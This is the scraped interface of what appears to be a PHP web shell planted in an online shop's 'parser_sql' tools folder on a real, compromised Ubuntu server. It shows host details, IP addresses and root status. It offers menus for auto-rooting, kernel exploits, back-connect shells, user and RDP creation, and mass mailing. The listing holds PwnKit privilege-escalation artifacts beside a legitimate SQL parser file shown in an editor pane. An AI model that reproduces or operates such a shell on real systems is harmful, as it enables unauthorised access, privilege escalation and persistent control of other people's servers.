Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
tools /
parser_sql /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
builders
[ DIR ]
drwxrwxrwx
exceptions
[ DIR ]
drwxrwxrwx
lexer
[ DIR ]
drwxrwxrwx
positions
[ DIR ]
drwxrwxrwx
processors
[ DIR ]
drwxrwxrwx
utils
[ DIR ]
drwxrwxrwx
.htaccess
170
B
-rwxrwxrwx
.mad-root
0
B
-rw-r--r--
LICENSE
2.72
KB
-rwxrwxrwx
PHPSQLCreator.php
4.89
KB
-rwxrwxrwx
PHPSQLParser.php
3.86
KB
-rwxrwxrwx
index.php
1.29
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PHPSQLParser.php
<?php /** * php-sql-parser.php * * A pure PHP SQL (non validating) parser w/ focus on MySQL dialect of SQL * * PHP version 5 * * LICENSE: * Copyright (c) 2010-2014 Justin Swanhart and André Rothe * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * @author André Rothe <andre.rothe@phosco.info> * @copyright 2010-2014 Justin Swanhart and André Rothe * @license http://www.debian.org/misc/bsd.license BSD License (3 Clause) * @version SVN: $Id: PHPSQLParser.php 757 2013-12-16 09:54:05Z phosco@gmx.de $ */ require_once dirname(__FILE__) . '/positions/PositionCalculator.php'; require_once dirname(__FILE__) . '/processors/DefaultProcessor.php'; /** * This class implements the parser functionality. * * @author Justin Swanhart <greenlion@gmail.com> * @author André Rothe <arothe@phosco.info> * @license http://www.debian.org/misc/bsd.license BSD License (3 Clause) */ class PHPSQLParser { public $parsed; /** * Constructor. It simply calls the parse() function. * Use the public variable $parsed to get the output. * * @param String $sql The SQL statement. * @param boolean $calcPositions True, if the output should contain [position], false otherwise. */ public function __construct($sql = false, $calcPositions = false) { if ($sql) { $this->parse($sql, $calcPositions); } } /** * It parses the given SQL statement and generates a detailled * output array for every part of the statement. The method can * also generate [position] fields within the output, which hold * the character position for every statement part. The calculation * of the positions needs some time, if you don't need positions in * your application, set the parameter to false. * * @param String $sql The SQL statement. * @param boolean $calcPositions True, if the output should contain [position], false otherwise. * * @return array An associative array with all meta information about the SQL statement. */ public function parse($sql, $calcPositions = false) { $processor = new DefaultProcessor(); $queries = $processor->process($sql); // calc the positions of some important tokens if ($calcPositions) { $calculator = new PositionCalculator(); $queries = $calculator->setPositionsWithinSQL($sql, $queries); } // store the parsed queries $this->parsed = $queries; return $this->parsed; } }
Close